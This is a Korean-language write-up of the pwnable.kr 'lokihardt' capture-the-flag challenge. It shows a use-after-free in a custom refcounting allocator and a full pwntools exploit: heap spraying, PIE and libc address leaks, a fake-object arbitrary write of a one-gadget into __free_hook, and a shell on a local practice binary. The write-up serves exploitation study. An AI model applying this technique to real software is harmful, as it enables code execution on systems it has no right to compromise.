콘텐츠로 건너뛰기

[pwnable.kr] lokihardt

Environment

Ubuntu 16.04.7 LTS

문제 소스코드 및 실행 파일

https://github.com/giladreti/pwnable/tree/master/lokihardt

checksec

seo@ubuntu:~/lokihardt$ checksec ./lokihardt.orig
[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)
[*] '/home/seo/lokihardt/lokihardt.orig'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

시행착오

alloc 딱 한번 했을 시 메모리 할당 내용

  • alloc_once.py
#!/usr/bin/env python3

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./lokihardt") # local
# p = process("./lokihardt", env={"LD_PRELOAD": "./libc.so.6_patched"})

e = ELF('./lokihardt',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # local

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def alloc(idx, rdata, wdata):
    sla("> ", "1")
    sla("idx? ", str(idx))

    if rdata or wdata:
        s(rdata)
        s(wdata)

def delete(idx):
    sla("> ", "2")
    sla("idx? ", str(idx))

def use(idx):
    sla("> ", "3")
    sla("idx? ", str(idx))

def gc():
    sla("> ", "4")

def alloc_obj(rdata, wdata):
    sla("> ", "5")
    s(rdata)
    s(wdata)

alloc(0, b"A"*256, b"B"*16)

pi()
  • 메모리 할당 결과
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x5584574a9000      0x0                 0x330                Used                None              None
0x5584574a9330      0xcccccccccccccc    0x120                Used                None              None

refCount를 0으로 만들고 gc 트리거하여,

dangling ptr 만들기

코드를 확인해보면, ArrayBuffer[idx]에 할당된 주소가 있는지 판단하지 않는다.

그래서 Delete를 호출하면 항상 refCount를 감소시킨다.

void Delete(unsigned int idx){
    ArrayBuffer[idx] = NULL;
    refCount--;
}

처음에 인덱스0에다가 할당한 다음, 할당되지 않은 인덱스1을 대상으로 Delete()를 해보자.

#!/usr/bin/env python3
...

alloc(0, b"A"*256, b"B"*16)
delete(1)

pi()

처음 인덱스0에 할당하려고 하면, Alloc()에서 무작위 크기로 할당한 영역에 0xcc로 도배된 패딩을 넣는다. 할당된 영역 주소는 randomPadding에 지정된다.

ArrayBuffer[0]theOBJ 에 의해 할당된 주소로 지정되며, refCount는 증가됨에 따라 1이 된다.

void Alloc(unsigned int idx){
    unsigned int rlen;
    if(refCount==0){
        // According to some research papers, random-heap-padding mitigates heap exploits!
        rlen = abs((rand()*1337) % 1024);
        printf("rlen = %u\n", rlen);
        randomPadding = malloc( rlen );
        memset(randomPadding, 0xcc, rlen);
        theOBJ = AllocOBJ();
    }
    ArrayBuffer[idx] = theOBJ;
    refCount++;
}

theOBJAllocOBJ()에 의해 POBJ 구조체의 필드를 다음과 같이 값을 지정시킨다.

필드 중 rdatawdata , 해당 2가지는 우리가 임의로 제어 가능하다.

POBJ AllocOBJ(){
    POBJ res = (POBJ)malloc(sizeof(OBJ));
    memset(res, 0, sizeof(OBJ));
    res->type = "null";
    fread(&(res->rdata), 1, 256, stdin);
    res->wdata = g_buf;
    res->length = sizeof(g_buf);
    fread(res->wdata, 1, res->length, stdin);
    return res;
}

Alloc() 이후, Delete() 를 수행하면, refCount는 0이 된다.

ArrayBuffer에서 인덱스1을 대상으로 수행했기 때문에, 인덱스0에는 여전히 주소가 남아있다.

gdb-peda$ x/wx &refCount
0x5593a0374040 <refCount>:      0x00000000
gdb-peda$ x/16gx &ArrayBuffer
0x5593a0374048 <ArrayBuffer>:   0x00005593a0efc250      0x0000000000000000
0x5593a0374058: 0x0000000000000000      0x0000000000000000
0x5593a0374068: 0x0000000000000000      0x0000000000000000
0x5593a0374078: 0x0000000000000000      0x0000000000000000
0x5593a0374088: 0x0000000000000000      0x0000000000000000
0x5593a0374098: 0x0000000000000000      0x0000000000000000
0x5593a03740a8: 0x0000000000000000      0x0000000000000000
0x5593a03740b8: 0x0000000000000000      0x0000000000000000

이제 여기서 gc()를 수행한다면?

theOBJrandomPadding을 대상으로 할당 해제하지만, ArrayBuffer의 인덱스0에 여전히 주소가 남아있기 때문에 dangling ptr가 된다.

void gc(){
    if(refCount == 0 && theOBJ != NULL){
        free(theOBJ);
        free(randomPadding);
        theOBJ = NULL;
    }
}

ASAN 환경으로 빌드한 다음,

gcc -o lokihardt lokihardt.c -fPIC -pie -Wl,-z,now -fsanitize=address

dangling ptr에 접근하기 위해, 인덱스0을 대상으로 Use()를 수행해보자.

alloc(0, b"A"*256, b"B"*16)
delete(1)
gc()

use(0)

use(0) 이후에는, ASAN에서 할당해제된 메모리 영역으로부터 값을 읽었다고 바로 감지한다.

이렇게 Use After Free 취약점이 있다는 증명을 마친다.

=================================================================
==2139==ERROR: AddressSanitizer: heap-use-after-free on address 0x61200000bfd0 at pc 0x55ce3f19897a bp 0x7fff19388e80 sp 0x7fff19388e70
READ of size 8 at 0x61200000bfd0 thread T0
    #0 0x55ce3f198979 in Use (/home/seo/lokihardt/lokihardt+0x1979)
    #1 0x55ce3f198e33 in main (/home/seo/lokihardt/lokihardt+0x1e33)
    #2 0x7f418572283f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
    #3 0x55ce3f198478 in _start (/home/seo/lokihardt/lokihardt+0x1478)

0x61200000bfd0 is located 272 bytes inside of 280-byte region [0x61200000bec0,0x61200000bfd8)
freed by thread T0 here:
    #0 0x7f4185b642ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x55ce3f19872f in gc (/home/seo/lokihardt/lokihardt+0x172f)
    #2 0x55ce3f198e3f in main (/home/seo/lokihardt/lokihardt+0x1e3f)
    #3 0x7f418572283f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)

previously allocated by thread T0 here:
    #0 0x7f4185b64602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x55ce3f198591 in AllocOBJ (/home/seo/lokihardt/lokihardt+0x1591)
    #2 0x55ce3f198851 in Alloc (/home/seo/lokihardt/lokihardt+0x1851)
    #3 0x55ce3f198d86 in main (/home/seo/lokihardt/lokihardt+0x1d86)
    #4 0x7f418572283f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)

SUMMARY: AddressSanitizer: heap-use-after-free ??:0 Use
Shadow bytes around the buggy address:
  0x0c247fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff97c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff97d0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c247fff97e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c247fff97f0: fd fd fd fd fd fd fd fd fd fd[fd]fa fa fa fa fa
  0x0c247fff9800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==2139==ABORTING

NULL 문자열 주소를 유출하고, 바이너리 PIE 베이스 주소 구하기

dangling ptr를 만든 다음, rdatawdata필드에 “read\x00” 문자열이 도배된 OBJ 구조체가 할동되도록 10번 반복한다.

alloc(0, b"A"*256, b"B"*16)
delete(1)
gc()

# rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``
# OBJ structure size is 280 bytes
# So we should spray at least four times
for i in range(4):
    alloc_obj(b"read\x00"*int(256/5) + b"\x00", b"read\x00"*int(16/5) + b"\x00")

그리고 use(0)을 수행 했을 때, 어느 순간 NULL 문자열 주소와 함께 read 문자열이 도배되면서 나온다.

leak이 될 수 있었던 이유와 과정들을 설명하자면..

아래 코드와 같이 첫 할당을 했을 때,

alloc(0, b"A"*256, b"B"*16)

randomPadding이 앞에 붙어 있어서, 이 영역이 병합/재분할될 때 스프레이 청크들이 원래 theOBJ 자리에 정확히 안 떨어질 때가 많다.

하지만 내 케이스의 경우, rlen이 552이였고, ArrayBuffer[0] 객체 시작보다 0x10 낮은 곳에 배치되었다.

그 결과, ArrayBuffer[0]에 대한 type 필드를 읽으면, g_buf에 저장되있던 “read”가 읽히게 된다.

따라서 null 문자열 주소를 유출했다면, 베이스 주소를 쉽게 구할 수 있다.

  • 코드:
for attempt in range(4141):
    p = process("./lokihardt") # local

    alloc(0, b"A"*256, b"B"*16)
    delete(1)
    gc()

    # rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``
    # OBJ structure size is 280 bytes
    # So we should spray at least four times
    for i in range(4):
        alloc_obj(b"read\x00"*int(256/5) + b"\x00", b"read\x00"*int(16/5) + b"\x00")

    try:
        use(0)
        leak = rl()
        if len(leak) < 256:
            raise EOFError
    except EOFError:
        warn("attempt %d: bad alignment, retrying..." % attempt)
        p.close()
        continue

    info("leak: {}".format(leak))
    null_rodata_address = uu64(leak[:8])
    info("leaked null address: {}".format(hex(null_rodata_address)))

    e.address = null_rodata_address - next(e.search(b"null"))
    info("obtained lokihardt base address: {}".format(hex(e.address)))
    break

pi()
  • 실행 결과:
...
[!] attempt 14: bad alignment, retrying...
[*] Stopped process './lokihardt' (pid 4029)
[+] Starting local process './lokihardt': pid 4031
[!] attempt 15: bad alignment, retrying...
[*] Stopped process './lokihardt' (pid 4031)
[+] Starting local process './lokihardt': pid 4033
[*] leak: b'8\xd2\xfd\xbauU\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x5575bafdd238
[*] obtained lokihardt base address: 0x5575bafdc000
[*] Switching to interactive mode
- 1. : Alloc
- 2. : Delete
- 3. : Use
- 4. : GarbageCollect
- 5. : HeapSpray

libc 베이스 주소 구하기

PIE 주소를 구했으니 ArrayBuffer 전역변수 주소와 write, read 문자열 주소들을 차례로 구할 수 있다.

    ...
    
    # ------------------------------------------------
    ArrayBuffer_addr = e.sym.ArrayBuffer
    info("ArrayBuffer@bss: {}".format(hex(ArrayBuffer_addr)))
    write_ro_addr = next(e.search(b"write"))
    info("write@ro: {}".format(hex(write_ro_addr)))
    read_ro_addr = next(e.search(b"read"))
    info("read@ro: {}".format(hex(read_ro_addr)))
    # ------------------------------------------------

그 다음으로, ArrayBuffer의 인덱스1을 대상으로 한번 더 dangling ptr를 만든다.

전에 했던 것처럼 똑같이 4번 스프레이하여, 우리가 제어한 fake OBJ 구조체로 가리키도록 만든다.

제어하는데 성공했을 때, 원하는 ArrayBuffer[1] 구조체 구조는 아래와 같다.

  • OBJ->rdata = 256크기를 차지하는데, 사실 아무 데이터든 상관없음
  • OBJ->wdata = ArrayBuffer[2] 주소
  • OBJ->length = 1024
  • OBJ->type = “write” 문자열 주소

g_buf 에는 “read” 문자열 주소를 2번 넣었는데, 추후 libc 베이스 주소를 구할 때 필요하다.

    alloc(1, b"C"*256, b"D"*16)
    delete(2)
    gc()

    pay = b""
    pay += p64(ArrayBuffer_addr+16)                    # control wdata (where)
    pay += p64(1024)                    # control length
    pay += p64(write_ro_addr)     # control type (what)
    pay = pay*int(256/len(pay)) + pay[:(256%len(pay))]
    for i in range(4):
        alloc_obj(pay, p64(read_ro_addr)*2)  # write read string ptr to g_buf

제어하는데 성공했다면, use(1)을 수행했을 때 your data? 문자열이 출력 될 것이며,

이제 ArrayBuffer[2] 주소부터 1024바이트만큼 우리가 원하는 데이터를 쓸 수 있다.

나는 아래와 같이 데이터를 구성해주었다.

  • … +0x0: g_buf+8 주소값에서 0x110만큼 뺀 값
  • … +0x8: ArrayBuffer 전역변수 주소 값
  • … +0x10 ~ +0x1024: 8바이트 정렬되있으며 read 문자열 주소로 도배됨
    try:
        use(1)
        leak = r(10)
        if not b"your data?" in leak:
            warn("attempt %d: bad alignment, retrying..." % attempt)
            continue
    except EOFError:
        warn("attempt %d: bad alignment, retrying..." % attempt)
        p.close()
        continue

    off_OBJ_type = 0x110
    pay = p64(e.sym.g_buf + 8 - off_OBJ_type)
    pay += p64(e.sym.ArrayBuffer)
    pay += p64(read_ro_addr) * int((1024-len(pay))/8)
    s(pay)    # will be written at ArrayBuffer_addr+16

이제 use(2) 를 수행했을 때, got 영역에 있는 여러 주소 값들을 유출시킬 수 있다.

    use(2)
    leak = rl()
    info("leak: {}".format(leak))

유출이 가능했던 이유는

ArrayBuffer[2] 주소에는 _ITM_deregisterTMCloneTable_ptr@got을 가리키고 있고,

OBJ 구조체에서 type까지의 오프셋 거리는 0x110이므로, g_buf에 있던 read 문자열 주소를 가리키기 때문이다.

전체 코드는 다음과 같다.

...
    # ------------------------------------------------
    ArrayBuffer_addr = e.sym.ArrayBuffer
    info("ArrayBuffer@bss: {}".format(hex(ArrayBuffer_addr)))
    write_ro_addr = next(e.search(b"write"))
    info("write@ro: {}".format(hex(write_ro_addr)))
    read_ro_addr = next(e.search(b"read"))
    info("read@ro: {}".format(hex(read_ro_addr)))
    # ------------------------------------------------

    alloc(1, b"C"*256, b"D"*16)
    delete(2)
    gc()

    pay = b""
    pay += p64(ArrayBuffer_addr+16)                    # control wdata (where)
    pay += p64(1024)                    # control length
    pay += p64(write_ro_addr)     # control type (what)
    pay = pay*int(256/len(pay)) + pay[:(256%len(pay))]
    for i in range(4):
        alloc_obj(pay, p64(read_ro_addr)*2)  # write read string ptr to g_buf

    try:
        use(1)
        leak = r(10)
        if not b"your data?" in leak:
            warn("attempt %d: bad alignment, retrying..." % attempt)
            continue
    except EOFError:
        warn("attempt %d: bad alignment, retrying..." % attempt)
        p.close()
        continue

    off_OBJ_type = 0x110
    pay = p64(e.sym.g_buf + 8 - off_OBJ_type)
    pay += p64(e.sym.ArrayBuffer)
    pay += p64(read_ro_addr) * int((1024-len(pay))/8)
    s(pay)    # will be written at ArrayBuffer_addr+16

    use(2)
    leak = rl()
    info("leak: {}".format(leak))

    i = leak.index(b"\x7f\x00\x00")
    libc_stdout_addr = uu64(leak[i-5:i+1])
    info("leaked libc stdout addr: {}".format(hex(libc_stdout_addr)))

    l.address = libc_stdout_addr - l.sym.stdout
    info("obtained libc base address: {}".format(hex(l.address)))
    break
    
pi()
  • 실행 결과:
[!] attempt 83: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 48372)
[+] Starting local process './lokihardt.orig': pid 48374
[*] leak: b'XB\xd8\xf3!V\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x5621f3d84258
[*] obtained lokihardt base address: 0x5621f3d83000
[*] ArrayBuffer@bss: 0x5621f3f85080
[*] write@ro: 0x5621f3d8361c
[*] read@ro: 0x5621f3d83623
[*] leak: b'\x00\x00\x00\x00\x00\x00\x00\x00\x08\xe7u\x18H\x7f\x00\x00\xa0\x86@\x18H\x7f\x00\x00\xb0q@\x18H\x7f\x00\x00\x10\xe7u\x18H\x7f\x00\x00\xf0!K\x18H\x7f\x00\x00\x10\xe8>\x18H\x7f\x00\x00p\xbaP\x18H\x7f\x00\x00\x80RF\x18H\x7f\x00\x00P\x03I\x18H\x7f\x00\x00P\x97;\x18H\x7f\x00\x00\xe08=\x18H\x7f\x00\x00\xf0\x85C\x18H\x7f\x00\x00p\xf1@\x18H\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xd1A\x18H\x7f\x00\x00\x80\x8e@\x18H\x7f\x00\x000\x01I\x18H\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0D@\x18H\x7f\x00\x00@0=\x18H\x7f\x00\x00\xf0v@\x18H\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe02=\x18H\x7f\x00\x00p?=\x18H\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08P\xf8\xf3!V\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00- menu -\n'
[*] leaked libc stdout addr: 0x7f481875e708
[*] obtained libc base address: 0x7f4818399000
[*] Switching to interactive mode
- 1. : Alloc
- 2. : Delete
- 3. : Use
- 4. : GarbageCollect
- 5. : HeapSpray

__free_hook@bss 주소에 원가젯 주소 덮기 (Arbitrary Address Write)

use(1) 을 수행하여, ArrayBuffer[2] 주소부터 1024바이트만큼 한번 더 제어한다.

각각 ArrayBuffer[2], ArrayBuffer[3]ArrayBuffer[4]@bss 주소 공간을 가리키게 만든다.

ArrayBuffer[4]@bss 주소 공간에는 fake OBJ 구조체 데이터를 만들며 다음과 같이 구성한다.

  • OBJ->rdata = ‘A’ 문자로 0x100크기만큼 채움
  • OBJ->wdata = __free_hook@bss 주소 (쓰여질 대상 주소)
  • OBJ->length = 8 (쓸 값 크기)
  • OBJ->type = “write” 문자열 주소
    use(1)
    pay = p64(ArrayBuffer_addr+32)*2
    pay += b"A"*256  # char rdata[256];  // offsetof(OBJ, rdata) = 0x0
    pay += p64(l.sym.__free_hook)  # char* wdata;      // offsetof(OBJ, wdata) = 0x100
    pay += p64(8)   # LONG length;      // offsetof(OBJ, length) = 0x108
    pay += p64(write_ro_addr)   # char* type;       // offsetof(OBJ, type) = 0x110
    pay = pay + p64(0x8383838383838383)*int((1024-len(pay))/8)
    sa(b"your data?", pay)

이제 use(3) 를 수행하면, 만들어진 fake OBJ 구조체에 의해

__free_hook@bss 주소에 원가젯 주소가 덮힌다.

    use(3)
    one_gadget_addr = l.address + 0x4527a
    sa(b"your data?", p64(one_gadget_addr))

gc()를 수행하려면 theOBJNULL이 아니어야 되므로

아래의 코드가 필요하다.

    # Make not NULL to theOBJ
    alloc(9, b"A"*256, b"B"*16)
    delete(10)

이후 gc()에서, free()가 수행되면서 쉘을 획득할 수 있다.

    gc()
  • 전체 코드:
...
    use(1)
    pay = p64(ArrayBuffer_addr+32)*2
    pay += b"A"*256  # char rdata[256];  // offsetof(OBJ, rdata) = 0x0
    pay += p64(l.sym.__free_hook)  # char* wdata;      // offsetof(OBJ, wdata) = 0x100
    pay += p64(8)   # LONG length;      // offsetof(OBJ, length) = 0x108
    pay += p64(write_ro_addr)   # char* type;       // offsetof(OBJ, type) = 0x110
    pay = pay + p64(0x8383838383838383)*int((1024-len(pay))/8)
    sa(b"your data?", pay)

    use(3)
    one_gadget_addr = l.address + 0x4527a
    sa(b"your data?", p64(one_gadget_addr))

    # Make not NULL to theOBJ
    alloc(9, b"A"*256, b"B"*16)
    delete(10)

    gc()

    break

pi()
  • 실행 결과:
[!] attempt 180: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49211)
[+] Starting local process './lokihardt.orig': pid 49213
[!] attempt 181: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49213)
[+] Starting local process './lokihardt.orig': pid 49215
[*] leak: b'X"_A\x82U\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x5582415f2258
[*] obtained lokihardt base address: 0x5582415f1000
[*] ArrayBuffer@bss: 0x5582417f3080
[*] write@ro: 0x5582415f161c
[*] read@ro: 0x5582415f1623
[*] leak: b'\x00\x00\x00\x00\x00\x00\x00\x00\x08W\x01\xb6\x93\x7f\x00\x00\xa0\xf6\xcb\xb5\x93\x7f\x00\x00\xb0\xe1\xcb\xb5\x93\x7f\x00\x00\x10W\x01\xb6\x93\x7f\x00\x00\xf0\x91\xd6\xb5\x93\x7f\x00\x00\x10X\xca\xb5\x93\x7f\x00\x00p*\xdc\xb5\x93\x7f\x00\x00\x80\xc2\xd1\xb5\x93\x7f\x00\x00Ps\xd4\xb5\x93\x7f\x00\x00P\x07\xc7\xb5\x93\x7f\x00\x00\xe0\xa8\xc8\xb5\x93\x7f\x00\x00\xf0\xf5\xce\xb5\x93\x7f\x00\x00pa\xcc\xb5\x93\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80A\xcd\xb5\x93\x7f\x00\x00\x80\xfe\xcb\xb5\x93\x7f\x00\x000q\xd4\xb5\x93\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xb4\xcb\xb5\x93\x7f\x00\x00@\xa0\xc8\xb5\x93\x7f\x00\x00\xf0\xe6\xcb\xb5\x93\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa2\xc8\xb5\x93\x7f\x00\x00p\xaf\xc8\xb5\x93\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x080\x7fA\x82U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00- menu -\n'
[*] leaked libc stdout addr: 0x7f93b6015708
[*] obtained libc base address: 0x7f93b5c50000
[*] Switching to interactive mode
$ id
uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

전체 코드 및 실행 결과

  • 전체 코드
#!/usr/bin/env python3

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

# p = process("./lokihardt") # local
# p = process("./lokihardt", env={"LD_PRELOAD": "./libc.so.6_patched"})

e = ELF('./lokihardt.orig',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # local

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def alloc(idx, rdata, wdata):
    sla("> ", "1")
    sla("idx? ", str(idx))

    if rdata or wdata:
        s(rdata)
        s(wdata)

def delete(idx):
    sla("> ", "2")
    sla("idx? ", str(idx))

def use(idx):
    sla("> ", "3")
    sla("idx? ", str(idx))

def gc():
    sla("> ", "4")

def alloc_obj(rdata, wdata):
    sla("> ", "5")
    s(rdata)
    s(wdata)

for attempt in range(0x4141):
    p = process("./lokihardt.orig") # local
    e.address = 0

    alloc(0, b"A"*256, b"B"*16)
    delete(1)
    gc()

    # rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``
    # OBJ structure size is 280 bytes
    # So we should spray at least four times
    for i in range(4):
        alloc_obj(b"read\x00"*int(256/5) + b"\x00", b"read\x00"*int(16/5) + b"\x00")

    try:
        use(0)
        leak = rl()
        if len(leak) < 256:
            raise EOFError
    except EOFError:
        warn("attempt %d: bad alignment, retrying..." % attempt)
        p.close()
        continue

    info("leak: {}".format(leak))
    null_rodata_address = uu64(leak[:8])
    info("leaked null address: {}".format(hex(null_rodata_address)))

    e.address = null_rodata_address - next(e.search(b"null"))
    info("obtained lokihardt base address: {}".format(hex(e.address)))

    # ------------------------------------------------
    ArrayBuffer_addr = e.sym.ArrayBuffer
    info("ArrayBuffer@bss: {}".format(hex(ArrayBuffer_addr)))
    write_ro_addr = next(e.search(b"write"))
    info("write@ro: {}".format(hex(write_ro_addr)))
    read_ro_addr = next(e.search(b"read"))
    info("read@ro: {}".format(hex(read_ro_addr)))
    # ------------------------------------------------

    alloc(1, b"C"*256, b"D"*16)
    delete(2)
    gc()

    pay = b""
    pay += p64(ArrayBuffer_addr+16)                    # control wdata (where)
    pay += p64(1024)                    # control length
    pay += p64(write_ro_addr)     # control type (what)
    pay = pay*int(256/len(pay)) + pay[:(256%len(pay))]
    for i in range(4):
        alloc_obj(pay, p64(read_ro_addr)*2)  # write read string ptr to g_buf

    try:
        use(1)
        leak = r(10)
        if not b"your data?" in leak:
            warn("attempt %d: bad alignment, retrying..." % attempt)
            continue
    except EOFError:
        warn("attempt %d: bad alignment, retrying..." % attempt)
        p.close()
        continue

    off_OBJ_type = 0x110
    pay = p64(e.sym.g_buf + 8 - off_OBJ_type)
    pay += p64(e.sym.ArrayBuffer)
    pay += p64(read_ro_addr) * int((1024-len(pay))/8)
    s(pay)    # will be written at ArrayBuffer_addr+16

    use(2)
    leak = rl()
    info("leak: {}".format(leak))

    i = leak.index(b"\x7f\x00\x00")
    libc_stdout_addr = uu64(leak[i-5:i+1])
    info("leaked libc stdout addr: {}".format(hex(libc_stdout_addr)))

    l.address = libc_stdout_addr - l.sym.stdout
    info("obtained libc base address: {}".format(hex(l.address)))

    use(1)
    pay = p64(ArrayBuffer_addr+32)*2
    pay += b"A"*256  # char rdata[256];  // offsetof(OBJ, rdata) = 0x0
    pay += p64(l.sym.__free_hook)  # char* wdata;      // offsetof(OBJ, wdata) = 0x100
    pay += p64(8)   # LONG length;      // offsetof(OBJ, length) = 0x108
    pay += p64(write_ro_addr)   # char* type;       // offsetof(OBJ, type) = 0x110
    pay = pay + p64(0x8383838383838383)*int((1024-len(pay))/8)
    sa(b"your data?", pay)

    use(3)
    one_gadget_addr = l.address + 0x4527a
    sa(b"your data?", p64(one_gadget_addr))

    # Make not NULL to theOBJ
    alloc(9, b"A"*256, b"B"*16)
    delete(10)

    gc()

    break

pi()
  • 실행 결과
[!] attempt 46: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49316)
[+] Starting local process './lokihardt.orig': pid 49318
[!] attempt 47: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49318)
[+] Starting local process './lokihardt.orig': pid 49320
[!] attempt 48: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49320)
[+] Starting local process './lokihardt.orig': pid 49322
[*] Process './lokihardt.orig' stopped with exit code -11 (SIGSEGV) (pid 49322)
[!] attempt 49: bad alignment, retrying...
[+] Starting local process './lokihardt.orig': pid 49324
[!] attempt 50: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49324)
[+] Starting local process './lokihardt.orig': pid 49326
[*] leak: b'X\xe2\x84\xf0cU\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x5563f084e258
[*] obtained lokihardt base address: 0x5563f084d000
[*] ArrayBuffer@bss: 0x5563f0a4f080
[*] write@ro: 0x5563f084d61c
[*] read@ro: 0x5563f084d623
[!] attempt 51: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49326)
[+] Starting local process './lokihardt.orig': pid 49328
